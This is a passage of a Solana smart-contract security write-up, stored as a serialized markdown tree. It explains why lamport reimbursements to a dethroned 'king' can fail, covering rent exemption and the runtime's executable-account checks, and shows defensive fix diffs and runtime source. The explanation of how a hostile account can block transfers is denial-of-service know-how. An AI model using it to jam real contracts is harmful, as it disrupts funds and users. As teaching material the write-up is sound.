pre_rent_state",{"type":24,"tag":147,"props":78250,"children":78251},{"style":235},[78252],{"type":29,"value":6630},{"type":24,"tag":147,"props":78254,"children":78255},{"class":149,"line":272},[78256,78261,78265,78269,78273,78277,78281,78285,78289,78293],{"type":24,"tag":147,"props":78257,"children":78258},{"style":9044},[78259],{"type":29,"value":78260},"                    RentState",{"type":24,"tag":147,"props":78262,"children":78263},{"style":241},[78264],{"type":29,"value":9106},{"type":24,"tag":147,"props":78266,"children":78267},{"style":9044},[78268],{"type":29,"value":77945},{"type":24,"tag":147,"props":78270,"children":78271},{"style":241},[78272],{"type":29,"value":9895},{"type":24,"tag":147,"props":78274,"children":78275},{"style":9044},[78276],{"type":29,"value":78137},{"type":24,"tag":147,"props":78278,"children":78279},{"style":241},[78280],{"type":29,"value":9106},{"type":24,"tag":147,"props":78282,"children":78283},{"style":9044},[78284],{"type":29,"value":78146},{"type":24,"tag":147,"props":78286,"children":78287},{"style":241},[78288],{"type":29,"value":33354},{"type":24,"tag":147,"props":78290,"children":78291},{"style":218},[78292],{"type":29,"value":14682},{"type":24,"tag":147,"props":78294,"children":78295},{"style":235},[78296],{"type":29,"value":1549},{"type":24,"tag":147,"props":78298,"children":78299},{"class":149,"line":281},[78300,78304,78308,78312],{"type":24,"tag":147,"props":78301,"children":78302},{"style":9044},[78303],{"type":29,"value":78260},{"type":24,"tag":147,"props":78305,"children":78306},{"style":241},[78307],{"type":29,"value":9106},{"type":24,"tag":147,"props":78309,"children":78310},{"style":9044},[78311],{"type":29,"value":78174},{"type":24,"tag":147,"props":78313,"children":78314},{"style":235},[78315],{"type":29,"value":6630},{"type":24,"tag":147,"props":78317,"children":78318},{"class":149,"line":299},[78319,78324,78328,78333],{"type":24,"tag":147,"props":78320,"children":78321},{"style":247},[78322],{"type":29,"value":78323},"                        data_size",{"type":24,"tag":147,"props":78325,"children":78326},{"style":241},[78327],{"type":29,"value":978},{"type":24,"tag":147,"props":78329,"children":78330},{"style":247},[78331],{"type":29,"value":78332}," pre_data_size",{"type":24,"tag":147,"props":78334,"children":78335},{"style":235},[78336],{"type":29,"value":1549},{"type":24,"tag":147,"props":78338,"children":78339},{"class":149,"line":308},[78340,78345,78349,78354],{"type":24,"tag":147,"props":78341,"children":78342},{"style":247},[78343],{"type":29,"value":78344},"                        lamports",{"type":24,"tag":147,"props":78346,"children":78347},{"style":241},[78348],{"type":29,"value":978},{"type":24,"tag":147,"props":78350,"children":78351},{"style":247},[78352],{"type":29,"value":78353}," pre_lamports",{"type":24,"tag":147,"props":78355,"children":78356},{"style":235},[78357],{"type":29,"value":1549},{"type":24,"tag":147,"props":78359,"children":78360},{"class":149,"line":317},[78361,78366,78370],{"type":24,"tag":147,"props":78362,"children":78363},{"style":235},[78364],{"type":29,"value":78365},"                    } ",{"type":24,"tag":147,"props":78367,"children":78368},{"style":241},[78369],{"type":29,"value":20435},{"type":24,"tag":147,"props":78371,"children":78372},{"style":235},[78373],{"type":29,"value":6630},{"type":24,"tag":147,"props":78375,"children":78376},{"class":149,"line":332},[78377],{"type":24,"tag":147,"props":78378,"children":78379},{"style":154},[78380],{"type":29,"value":78381},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":24,"tag":147,"props":78383,"children":78384},{"class":149,"line":350},[78385,78390,78394,78398,78402,78406,78410],{"type":24,"tag":147,"props":78386,"children":78387},{"style":247},[78388],{"type":29,"value":78389},"                        post_data_size",{"type":24,"tag":147,"props":78391,"children":78392},{"style":241},[78393],{"type":29,"value":8911},{"type":24,"tag":147,"props":78395,"children":78396},{"style":247},[78397],{"type":29,"value":78332},{"type":24,"tag":147,"props":78399,"children":78400},{"style":241},[78401],{"type":29,"value":4269},{"type":24,"tag":147,"props":78403,"children":78404},{"style":247},[78405],{"type":29,"value":78216},{"type":24,"tag":147,"props":78407,"children":78408},{"style":241},[78409],{"type":29,"value":13823},{"type":24,"tag":147,"props":78411,"children":78412},{"style":247},[78413],{"type":29,"value":78414}," pre_lamports\n",{"type":24,"tag":147,"props":78416,"children":78417},{"class":149,"line":358},[78418],{"type":24,"tag":147,"props":78419,"children":78420},{"style":235},[78421],{"type":29,"value":76646},{"type":24,"tag":147,"props":78423,"children":78424},{"class":149,"line":397},[78425],{"type":24,"tag":147,"props":78426,"children":78427},{"style":235},[78428],{"type":29,"value":1666},{"type":24,"tag":147,"props":78430,"children":78431},{"class":149,"line":421},[78432],{"type":24,"tag":147,"props":78433,"children":78434},{"style":235},[78435],{"type":29,"value":1935},{"type":24,"tag":147,"props":78437,"children":78438},{"class":149,"line":435},[78439],{"type":24,"tag":147,"props":78440,"children":78441},{"style":235},[78442],{"type":29,"value":441},{"type":24,"tag":147,"props":78444,"children":78445},{"class":149,"line":444},[78446],{"type":24,"tag":147,"props":78447,"children":78448},{"style":235},[78449],{"type":29,"value":1952},{"type":24,"tag":25,"props":78451,"children":78452},{},[78453],{"type":29,"value":78454},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":24,"tag":137,"props":78456,"children":78458},{"className":9869,"code":78457,"language":9868,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[78459],{"type":24,"tag":80,"props":78460,"children":78461},{"__ignoreMap":7},[78462,78478],{"type":24,"tag":147,"props":78463,"children":78464},{"class":149,"line":150},[78465,78469,78474],{"type":24,"tag":147,"props":78466,"children":78467},{"style":229},[78468],{"type":29,"value":8513},{"type":24,"tag":147,"props":78470,"children":78471},{"style":3534},[78472],{"type":29,"value":78473}," rent",{"type":24,"tag":147,"props":78475,"children":78476},{"style":705},[78477],{"type":29,"value":29879},{"type":24,"tag":147,"props":78479,"children":78480},{"class":149,"line":160},[78481,78486,78491,78496],{"type":24,"tag":147,"props":78482,"children":78483},{"style":229},[78484],{"type":29,"value":78485},"Rent-exempt",{"type":24,"tag":147,"props":78487,"children":78488},{"style":3534},[78489],{"type":29,"value":78490}," minimum:",{"type":24,"tag":147,"props":78492,"children":78493},{"style":705},[78494],{"type":29,"value":78495}," 0.00089088",{"type":24,"tag":147,"props":78497,"children":78498},{"style":3534},[78499],{"type":29,"value":78500}," SOL\n",{"type":24,"tag":112,"props":78502,"children":78504},{"id":78503},"fix-1-only-reimburse-if-rent-exempt",[78505],{"type":29,"value":78506},"Fix 1: Only Reimburse if Rent-Exempt",{"type":24,"tag":25,"props":78508,"children":78509},{},[78510],{"type":29,"value":78511},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":24,"tag":137,"props":78513,"children":78515},{"className":45956,"code":78514,"language":45958,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[78516],{"type":24,"tag":80,"props":78517,"children":78518},{"__ignoreMap":7},[78519,78527,78535,78543,78551,78559,78567,78575,78583,78591],{"type":24,"tag":147,"props":78520,"children":78521},{"class":149,"line":150},[78522],{"type":24,"tag":147,"props":78523,"children":78524},{"style":235},[78525],{"type":29,"value":78526},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":24,"tag":147,"props":78528,"children":78529},{"class":149,"line":160},[78530],{"type":24,"tag":147,"props":78531,"children":78532},{"style":705},[78533],{"type":29,"value":78534},"+let rent = Rent::get()?;\n",{"type":24,"tag":147,"props":78536,"children":78537},{"class":149,"line":169},[78538],{"type":24,"tag":147,"props":78539,"children":78540},{"style":705},[78541],{"type":29,"value":78542},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":24,"tag":147,"props":78544,"children":78545},{"class":149,"line":178},[78546],{"type":24,"tag":147,"props":78547,"children":78548},{"style":705},[78549],{"type":29,"value":78550},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":24,"tag":147,"props":78552,"children":78553},{"class":149,"line":187},[78554],{"type":24,"tag":147,"props":78555,"children":78556},{"style":235},[78557],{"type":29,"value":78558},"    transfer_from_pda(\n",{"type":24,"tag":147,"props":78560,"children":78561},{"class":149,"line":196},[78562],{"type":24,"tag":147,"props":78563,"children":78564},{"style":235},[78565],{"type":29,"value":78566},"        &ctx.accounts.throne.to_account_info(),\n",{"type":24,"tag":147,"props":78568,"children":78569},{"class":149,"line":205},[78570],{"type":24,"tag":147,"props":78571,"children":78572},{"style":235},[78573],{"type":29,"value":78574},"        &ctx.accounts.old_king,\n",{"type":24,"tag":147,"props":78576,"children":78577},{"class":149,"line":214},[78578],{"type":24,"tag":147,"props":78579,"children":78580},{"style":235},[78581],{"type":29,"value":78582},"        to_reimburse,\n",{"type":24,"tag":147,"props":78584,"children":78585},{"class":149,"line":272},[78586],{"type":24,"tag":147,"props":78587,"children":78588},{"style":235},[78589],{"type":29,"value":78590},"    )?;\n",{"type":24,"tag":147,"props":78592,"children":78593},{"class":149,"line":281},[78594],{"type":24,"tag":147,"props":78595,"children":78596},{"style":705},[78597],{"type":29,"value":78598},"+}\n",{"type":24,"tag":25,"props":78600,"children":78601},{},[78602],{"type":29,"value":78603},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":24,"tag":43,"props":78605,"children":78607},{"id":78606},"bug-2-writable-but-untouchable-set_lamports-fails",[78608,78610,78616],{"type":29,"value":78609},"Bug 2: Writable but Untouchable — ",{"type":24,"tag":80,"props":78611,"children":78613},{"className":78612},[],[78614],{"type":29,"value":78615},"set_lamports",{"type":29,"value":78617}," Fails",{"type":24,"tag":25,"props":78619,"children":78620},{},[78621,78623,78630],{"type":29,"value":78622},"Let's look at ",{"type":24,"tag":2773,"props":78624,"children":78627},{"href":78625,"rel":78626},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[2777],[78628],{"type":29,"value":78629},"BorrowedAccount::set_lamports",{"type":29,"value":87},{"type":24,"tag":137,"props":78632,"children":78634},{"className":8614,"code":78633,"language":8613,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[78635],{"type":24,"tag":80,"props":78636,"children":78637},{"__ignoreMap":7},[78638,78646,78667,78739,78747,78806,78838,78845,78853,78881,78913,78920,78928,78952,78984,78991,78999,79034,79050,79057,79085,79120,79131,79138,79145,79153,79172,79180,79220,79232,79244,79256,79287],{"type":24,"tag":147,"props":78639,"children":78640},{"class":149,"line":150},[78641],{"type":24,"tag":147,"props":78642,"children":78643},{"style":154},[78644],{"type":29,"value":78645},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":24,"tag":147,"props":78647,"children":78648},{"class":149,"line":160},[78649,78654,78658,78663],{"type":24,"tag":147,"props":78650,"children":78651},{"style":235},[78652],{"type":29,"value":78653},"#[cfg(not(target_os ",{"type":24,"tag":147,"props":78655,"children":78656},{"style":241},[78657],{"type":29,"value":369},{"type":24,"tag":147,"props":78659,"children":78660},{"style":3534},[78661],{"type":29,"value":78662}," \"solana\"",{"type":24,"tag":147,"props":78664,"children":78665},{"style":235},[78666],{"type":29,"value":26212},{"type":24,"tag":147,"props":78668,"children":78669},{"class":149,"line":169},[78670,78674,78678,78683,78687,78691,78695,78699,78703,78707,78711,78715,78719,78723,78727,78731,78735],{"type":24,"tag":147,"props":78671,"children":78672},{"style":218},[78673],{"type":29,"value":19307},{"type":24,"tag":147,"props":78675,"children":78676},{"style":218},[78677],{"type":29,"value":19312},{"type":24,"tag":147,"props":78679,"children":78680},{"style":229},[78681],{"type":29,"value":78682}," set_lamports",{"type":24,"tag":147,"props":78684,"children":78685},{"style":235},[78686],{"type":29,"value":480},{"type":24,"tag":147,"props":78688,"children":78689},{"style":241},[78690],{"type":29,"value":485},{"type":24,"tag":147,"props":78692,"children":78693},{"style":218},[78694],{"type":29,"value":9348},{"type":24,"tag":147,"props":78696,"children":78697},{"style":218},[78698],{"type":29,"value":19413},{"type":24,"tag":147,"props":78700,"children":78701},{"style":235},[78702],{"type":29,"value":546},{"type":24,"tag":147,"props":78704,"children":78705},{"style":247},[78706],{"type":29,"value":21123},{"type":24,"tag":147,"props":78708,"children":78709},{"style":241},[78710],{"type":29,"value":978},{"type":24,"tag":147,"props":78712,"children":78713},{"style":9044},[78714],{"type":29,"value":11484},{"type":24,"tag":147,"props":78716,"children":78717},{"style":235},[78718],{"type":29,"value":564},{"type":24,"tag":147,"props":78720,"children":78721},{"style":241},[78722],{"type":29,"value":495},{"type":24,"tag":147,"props":78724,"children":78725},{"style":9044},[78726],{"type":29,"value":19378},{"type":24,"tag":147,"props":78728,"children":78729},{"style":235},[78730],{"type":29,"value":19383},{"type":24,"tag":147,"props":78732,"children":78733},{"style":9044},[78734],{"type":29,"value":21368},{"type":24,"tag":147,"props":78736,"children":78737},{"style":235},[78738],{"type":29,"value":12907},{"type":24,"tag":147,"props":78740,"children":78741},{"class":149,"line":178},[78742],{"type":24,"tag":147,"props":78743,"children":78744},{"style":154},[78745],{"type":29,"value":78746},"    // An account not owned by the program cannot have its balance decrease\n",{"type":24,"tag":147,"props":78748,"children":78749},{"class":149,"line":187},[78750,78754,78758,78762,78766,78771,78775,78780,78785,78789,78793,78797,78802],{"type":24,"tag":147,"props":78751,"children":78752},{"style":321},[78753],{"type":29,"value":4759},{"type":24,"tag":147,"props":78755,"children":78756},{"style":241},[78757],{"type":29,"value":3598},{"type":24,"tag":147,"props":78759,"children":78760},{"style":218},[78761],{"type":29,"value":19330},{"type":24,"tag":147,"props":78763,"children":78764},{"style":241},[78765],{"type":29,"value":87},{"type":24,"tag":147,"props":78767,"children":78768},{"style":229},[78769],{"type":29,"value":78770},"is_owned_by_current_program",{"type":24,"tag":147,"props":78772,"children":78773},{"style":235},[78774],{"type":29,"value":19658},{"type":24,"tag":147,"props":78776,"children":78777},{"style":241},[78778],{"type":29,"value":78779},"&&",{"type":24,"tag":147,"props":78781,"children":78782},{"style":247},[78783],{"type":29,"value":78784}," lamports",{"type":24,"tag":147,"props":78786,"children":78787},{"style":241},[78788],{"type":29,"value":14344},{"type":24,"tag":147,"props":78790,"children":78791},{"style":218},[78792],{"type":29,"value":19413},{"type":24,"tag":147,"props":78794,"children":78795},{"style":241},[78796],{"type":29,"value":87},{"type":24,"tag":147,"props":78798,"children":78799},{"style":229},[78800],{"type":29,"value":78801},"get_lamports",{"type":24,"tag":147,"props":78803,"children":78804},{"style":235},[78805],{"type":29,"value":21347},{"type":24,"tag":147,"props":78807,"children":78808},{"class":149,"line":196},[78809,78813,78817,78821,78825,78829,78834],{"type":24,"tag":147,"props":78810,"children":78811},{"style":321},[78812],{"type":29,"value":7020},{"type":24,"tag":147,"props":78814,"children":78815},{"style":9044},[78816],{"type":29,"value":21359},{"type":24,"tag":147,"props":78818,"children":78819},{"style":235},[78820],{"type":29,"value":480},{"type":24,"tag":147,"props":78822,"children":78823},{"style":9044},[78824],{"type":29,"value":21368},{"type":24,"tag":147,"props":78826,"children":78827},{"style":241},[78828],{"type":29,"value":9106},{"type":24,"tag":147,"props":78830,"children":78831},{"style":9044},[78832],{"type":29,"value":78833},"ExternalAccountLamportSpend",{"type":24,"tag":147,"props":78835,"children":78836},{"style":235},[78837],{"type":29,"value":1473},{"type":24,"tag":147,"props":78839,"children":78840},{"class":149,"line":205},[78841],{"type":24,"tag":147,"props":78842,"children":78843},{"style":235},[78844],{"type":29,"value":1952},{"type":24,"tag":147,"props":78846,"children":78847},{"class":149,"line":214},[78848],{"type":24,"tag":147,"props":78849,"children":78850},{"style":154},[78851],{"type":29,"value":78852},"    // The balance of read-only may not change\n",{"type":24,"tag":147,"props":78854,"children":78855},{"class":149,"line":272},[78856,78860,78864,78868,78872,78877],{"type":24,"tag":147,"props":78857,"children":78858},{"style":321},[78859],{"type":29,"value":4759},{"type":24,"tag":147,"props":78861,"children":78862},{"style":241},[78863],{"type":29,"value":3598},{"type":24,"tag":147,"props":78865,"children":78866},{"style":218},[78867],{"type":29,"value":19330},{"type":24,"tag":147,"props":78869,"children":78870},{"style":241},[78871],{"type":29,"value":87},{"type":24,"tag":147,"props":78873,"children":78874},{"style":229},[78875],{"type":29,"value":78876},"is_writable",{"type":24,"tag":147,"props":78878,"children":78879},{"style":235},[78880],{"type":29,"value":21347},{"type":24,"tag":147,"props":78882,"children":78883},{"class":149,"line":281},[78884,78888,78892,78896,78900,78904,78909],{"type":24,"tag":147,"props":78885,"children":78886},{"style":321},[78887],{"type":29,"value":7020},{"type":24,"tag":147,"props":78889,"children":78890},{"style":9044},[78891],{"type":29,"value":21359},{"type":24,"tag":147,"props":78893,"children":78894},{"style":235},[78895],{"type":29,"value":480},{"type":24,"tag":147,"props":78897,"children":78898},{"style":9044},[78899],{"type":29,"value":21368},{"type":24,"tag":147,"props":78901,"children":78902},{"style":241},[78903],{"type":29,"value":9106},{"type":24,"tag":147,"props":78905,"children":78906},{"style":9044},[78907],{"type":29,"value":78908},"ReadonlyLamportChange",{"type":24,"tag":147,"props":78910,"children":78911},{"style":235},[78912],{"type":29,"value":1473},{"type":24,"tag":147,"props":78914,"children":78915},{"class":149,"line":299},[78916],{"type":24,"tag":147,"props":78917,"children":78918},{"style":235},[78919],{"type":29,"value":1952},{"type":24,"tag":147,"props":78921,"children":78922},{"class":149,"line":308},[78923],{"type":24,"tag":147,"props":78924,"children":78925},{"style":154},[78926],{"type":29,"value":78927},"    // The balance of executable accounts may not change\n",{"type":24,"tag":147,"props":78929,"children":78930},{"class":149,"line":317},[78931,78935,78939,78943,78948],{"type":24,"tag":147,"props":78932,"children":78933},{"style":321},[78934],{"type":29,"value":4759},{"type":24,"tag":147,"props":78936,"children":78937},{"style":218},[78938],{"type":29,"value":19413},{"type":24,"tag":147,"props":78940,"children":78941},{"style":241},[78942],{"type":29,"value":87},{"type":24,"tag":147,"props":78944,"children":78945},{"style":229},[78946],{"type":29,"value":78947},"is_executable_internal",{"type":24,"tag":147,"props":78949,"children":78950},{"style":235},[78951],{"type":29,"value":21347},{"type":24,"tag":147,"props":78953,"children":78954},{"class":149,"line":332},[78955,78959,78963,78967,78971,78975,78980],{"type":24,"tag":147,"props":78956,"children":78957},{"style":321},[78958],{"type":29,"value":7020},{"type":24,"tag":147,"props":78960,"children":78961},{"style":9044},[78962],{"type":29,"value":21359},{"type":24,"tag":147,"props":78964,"children":78965},{"style":235},[78966],{"type":29,"value":480},{"type":24,"tag":147,"props":78968,"children":78969},{"style":9044},[78970],{"type":29,"value":21368},{"type":24,"tag":147,"props":78972,"children":78973},{"style":241},[78974],{"type":29,"value":9106},{"type":24,"tag":147,"props":78976,"children":78977},{"style":9044},[78978],{"type":29,"value":78979},"ExecutableLamportChange",{"type":24,"tag":147,"props":78981,"children":78982},{"style":235},[78983],{"type":29,"value":1473},{"type":24,"tag":147,"props":78985,"children":78986},{"class":149,"line":350},[78987],{"type":24,"tag":147,"props":78988,"children":78989},{"style":235},[78990],{"type":29,"value":1952},{"type":24,"tag":147,"props":78992,"children":78993},{"class":149,"line":358},[78994],{"type":24,"tag":147,"props":78995,"children":78996},{"style":154},[78997],{"type":29,"value":78998},"    // don't touch the account if the lamports do not change\n",{"type":24,"tag":147,"props":79000,"children":79001},{"class":149,"line":397},[79002,79006,79010,79014,79018,79022,79026,79030],{"type":24,"tag":147,"props":79003,"children":79004},{"style":321},[79005],{"type":29,"value":4759},{"type":24,"tag":147,"props":79007,"children":79008},{"style":218},[79009],{"type":29,"value":19413},{"type":24,"tag":147,"props":79011,"children":79012},{"style":241},[79013],{"type":29,"value":87},{"type":24,"tag":147,"props":79015,"children":79016},{"style":229},[79017],{"type":29,"value":78801},{"type":24,"tag":147,"props":79019,"children":79020},{"style":235},[79021],{"type":29,"value":19658},{"type":24,"tag":147,"props":79023,"children":79024},{"style":241},[79025],{"type":29,"value":6600},{"type":24,"tag":147,"props":79027,"children":79028},{"style":247},[79029],{"type":29,"value":78784},{"type":24,"tag":147,"props":79031,"children":79032},{"style":235},[79033],{"type":29,"value":6630},{"type":24,"tag":147,"props":79035,"children":79036},{"class":149,"line":421},[79037,79041,79045],{"type":24,"tag":147,"props":79038,"children":79039},{"style":321},[79040],{"type":29,"value":7020},{"type":24,"tag":147,"props":79042,"children":79043},{"style":9044},[79044],{"type":29,"value":48533},{"type":24,"tag":147,"props":79046,"children":79047},{"style":235},[79048],{"type":29,"value":79049},"(());\n",{"type":24,"tag":147,"props":79051,"children":79052},{"class":149,"line":435},[79053],{"type":24,"tag":147,"props":79054,"children":79055},{"style":235},[79056],{"type":29,"value":1952},{"type":24,"tag":147,"props":79058,"children":79059},{"class":149,"line":444},[79060,79064,79068,79073,79077,79081],{"type":24,"tag":147,"props":79061,"children":79062},{"style":218},[79063],{"type":29,"value":26388},{"type":24,"tag":147,"props":79065,"children":79066},{"style":241},[79067],{"type":29,"value":87},{"type":24,"tag":147,"props":79069,"children":79070},{"style":229},[79071],{"type":29,"value":79072},"touch",{"type":24,"tag":147,"props":79074,"children":79075},{"style":235},[79076],{"type":29,"value":19495},{"type":24,"tag":147,"props":79078,"children":79079},{"style":241},[79080],{"type":29,"value":8785},{"type":24,"tag":147,"props":79082,"children":79083},{"style":235},[79084],{"type":29,"value":432},{"type":24,"tag":147,"props":79086,"children":79087},{"class":149,"line":452},[79088,79092,79096,79100,79104,79108,79112,79116],{"type":24,"tag":147,"props":79089,"children":79090},{"style":218},[79091],{"type":29,"value":26388},{"type":24,"tag":147,"props":79093,"children":79094},{"style":241},[79095],{"type":29,"value":87},{"type":24,"tag":147,"props":79097,"children":79098},{"style":235},[79099],{"type":29,"value":18570},{"type":24,"tag":147,"props":79101,"children":79102},{"style":241},[79103],{"type":29,"value":87},{"type":24,"tag":147,"props":79105,"children":79106},{"style":229},[79107],{"type":29,"value":78615},{"type":24,"tag":147,"props":79109,"children":79110},{"style":235},[79111],{"type":29,"value":480},{"type":24,"tag":147,"props":79113,"children":79114},{"style":247},[79115],{"type":29,"value":21123},{"type":24,"tag":147,"props":79117,"children":79118},{"style":235},[79119],{"type":29,"value":1473},{"type":24,"tag":147,"props":79121,"children":79122},{"class":149,"line":461},[79123,79127],{"type":24,"tag":147,"props":79124,"children":79125},{"style":9044},[79126],{"type":29,"value":19947},{"type":24,"tag":147,"props":79128,"children":79129},{"style":235},[79130],{"type":29,"value":19952},{"type":24,"tag":147,"props":79132,"children":79133},{"class":149,"line":469},[79134],{"type":24,"tag":147,"props":79135,"children":79136},{"style":235},[79137],{"type":29,"value":827},{"type":24,"tag":147,"props":79139,"children":79140},{"class":149,"line":508},[79141],{"type":24,"tag":147,"props":79142,"children":79143},{"emptyLinePlaceholder":16},[79144],{"type":29,"value":314},{"type":24,"tag":147,"props":79146,"children":79147},{"class":149,"line":572},[79148],{"type":24,"tag":147,"props":79149,"children":79150},{"style":154},[79151],{"type":29,"value":79152},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":24,"tag":147,"props":79154,"children":79155},{"class":149,"line":591},[79156,79160,79164,79168],{"type":24,"tag":147,"props":79157,"children":79158},{"style":235},[79159],{"type":29,"value":78653},{"type":24,"tag":147,"props":79161,"children":79162},{"style":241},[79163],{"type":29,"value":369},{"type":24,"tag":147,"props":79165,"children":79166},{"style":3534},[79167],{"type":29,"value":78662},{"type":24,"tag":147,"props":79169,"children":79170},{"style":235},[79171],{"type":29,"value":26212},{"type":24,"tag":147,"props":79173,"children":79174},{"class":149,"line":632},[79175],{"type":24,"tag":147,"props":79176,"children":79177},{"style":235},[79178],{"type":29,"value":79179},"#[inline]\n",{"type":24,"tag":147,"props":79181,"children":79182},{"class":149,"line":659},[79183,79187,79192,79196,79200,79204,79208,79212,79216],{"type":24,"tag":147,"props":79184,"children":79185},{"style":218},[79186],{"type":29,"value":25870},{"type":24,"tag":147,"props":79188,"children":79189},{"style":229},[79190],{"type":29,"value":79191}," is_executable_internal",{"type":24,"tag":147,"props":79193,"children":79194},{"style":235},[79195],{"type":29,"value":480},{"type":24,"tag":147,"props":79197,"children":79198},{"style":241},[79199],{"type":29,"value":485},{"type":24,"tag":147,"props":79201,"children":79202},{"style":218},[79203],{"type":29,"value":19330},{"type":24,"tag":147,"props":79205,"children":79206},{"style":235},[79207],{"type":29,"value":564},{"type":24,"tag":147,"props":79209,"children":79210},{"style":241},[79211],{"type":29,"value":495},{"type":24,"tag":147,"props":79213,"children":79214},{"style":9044},[79215],{"type":29,"value":17669},{"type":24,"tag":147,"props":79217,"children":79218},{"style":235},[79219],{"type":29,"value":6630},{"type":24,"tag":147,"props":79221,"children":79222},{"class":149,"line":684},[79223,79227],{"type":24,"tag":147,"props":79224,"children":79225},{"style":241},[79226],{"type":29,"value":26572},{"type":24,"tag":147,"props":79228,"children":79229},{"style":218},[79230],{"type":29,"value":79231},"self\n",{"type":24,"tag":147,"props":79233,"children":79234},{"class":149,"line":715},[79235,79239],{"type":24,"tag":147,"props":79236,"children":79237},{"style":241},[79238],{"type":29,"value":73842},{"type":24,"tag":147,"props":79240,"children":79241},{"style":235},[79242],{"type":29,"value":79243},"transaction_context\n",{"type":24,"tag":147,"props":79245,"children":79246},{"class":149,"line":744},[79247,79251],{"type":24,"tag":147,"props":79248,"children":79249},{"style":241},[79250],{"type":29,"value":73842},{"type":24,"tag":147,"props":79252,"children":79253},{"style":235},[79254],{"type":29,"value":79255},"remove_accounts_executable_flag_checks\n",{"type":24,"tag":147,"props":79257,"children":79258},{"class":149,"line":784},[79259,79263,79267,79271,79275,79279,79283],{"type":24,"tag":147,"props":79260,"children":79261},{"style":241},[79262],{"type":29,"value":48397},{"type":24,"tag":147,"props":79264,"children":79265},{"style":218},[79266],{"type":29,"value":19413},{"type":24,"tag":147,"props":79268,"children":79269},{"style":241},[79270],{"type":29,"value":87},{"type":24,"tag":147,"props":79272,"children":79273},{"style":235},[79274],{"type":29,"value":18570},{"type":24,"tag":147,"props":79276,"children":79277},{"style":241},[79278],{"type":29,"value":87},{"type":24,"tag":147,"props":79280,"children":79281},{"style":229},[79282],{"type":29,"value":21267},{"type":24,"tag":147,"props":79284,"children":79285},{"style":235},[79286],{"type":29,"value":13361},{"type":24,"tag":147,"props":79288,"children":79289},{"class":149,"line":792},[79290],{"type":24,"tag":147,"props":79291,"children":79292},{"style":235},[79293],{"type":29,"value":827},{"type":24,"tag":25,"props":79295,"children":79296},{},[79297],{"type":29,"value":79298},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":24,"tag":25,"props":79300,"children":79301},{},[79302,79304,79309],{"type":29,"value":79303},"Specifically, ",{"type":24,"tag":10949,"props":79305,"children":79306},{},[79307],{"type":29,"value":79308},"executable accounts",{"type":29,"value":79310}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":24,"tag":112,"props":79312,"children":79314},{"id":79313},"sidebar-whats-the-executable-flag-anyway",[79315],{"type":29,"value":79316},"Sidebar: What's the executable Flag Anyway?",{"type":24,"tag":25,"props":79318,"children":79319},{},[79320,79321,79326],{"type":29,"value":5094},{"type":24,"tag":80,"props":79322,"children":79324},{"className":79323},[],[79325],{"type":29,"value":21267},{"type":29,"value":79327}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":24,"tag":25,"props":79329,"children":79330},{},[79331,79333,79338],{"type":29,"value":79332},"This behavior became problematic with the introduction of the ",{"type":24,"tag":10949,"props":79334,"children":79335},{},[79336],{"type":29,"value":79337},"Upgradeable BPF Loader",{"type":29,"value":79339},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":24,"tag":137,"props":79341,"children":79343},{"className":8614,"code":79342,"language":8613,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's 